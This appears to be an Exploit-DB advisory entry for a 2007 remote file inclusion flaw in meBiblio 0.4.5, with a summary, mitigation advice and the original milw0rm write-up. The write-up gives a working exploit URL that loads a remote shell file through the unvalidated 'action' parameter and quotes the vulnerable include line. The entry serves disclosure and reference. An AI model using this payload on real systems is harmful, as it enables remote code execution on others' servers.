meBiblio 0.4.5 RFI

vendor:

meBiblio

by:

ShAy6oOoN

7.5

CVSS

HIGH

Remote File Inclusion

Not available

CWE

Product Name: meBiblio

Affected Version From: meBiblio 0.4.5

Affected Version To: meBiblio 0.4.5

Patch Exists: NO

Related CWE: Not available

CPE: Not available

Metasploit:

Other Scripts:

Platforms Tested: Not available

2007

The meBiblio 0.4.5 script is vulnerable to a Remote File Inclusion (RFI) attack. The vulnerability exists in the index.php file, where the 'action' variable is not properly validated before being included in a PHP include() function. This allows an attacker to include a remote file from a malicious server, leading to remote code execution on the target system.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize and validate user input before using it in an include() function. Additionally, disabling the 'register_globals' feature in PHP can help prevent this type of attack.

Source

Exploit-DB raw data:

~~~~~~~~~~~~~~~~~~~~~~~~
~  meBiblio 0.4.5 RFI  ~
~~~~~~~~~~~~~~~~~~~~~~~

---------------------
Author              : ShAy6oOoN
---------------------
Group               : PitBull Crew
---------------------
Script              : meBiblio 0.4.5
---------------------
Download            : http://downloads.sourceforge.net/mebiblio/meBiblio-0.4.5.tar.gz?modtime=1195237984&big_mirror=0
---------------------
Vulnerability Type  : Remote File Inclusion
---------------------
Vulnerable file     : index.php
---------------------
Exploit URL         : http://localhost/path/index.php?action=http://localhost/shell.txt?
---------------------
Method              : get
---------------------
Register_globals    : On
---------------------
Vulnerable variable : action
---------------------
Line number         : 41
---------------------


----------------------------------------------
 //print "<p>Action = $action" ;            
 include "$action.inc.php";                 
 }                                          
----------------------------------------------


Greetings:
----------

PitBull Crew : The_PitBull - iNs - c0ol - Raz0r - Inphex


Thanks To:
----------

str0ke

# milw0rm.com [2007-11-17]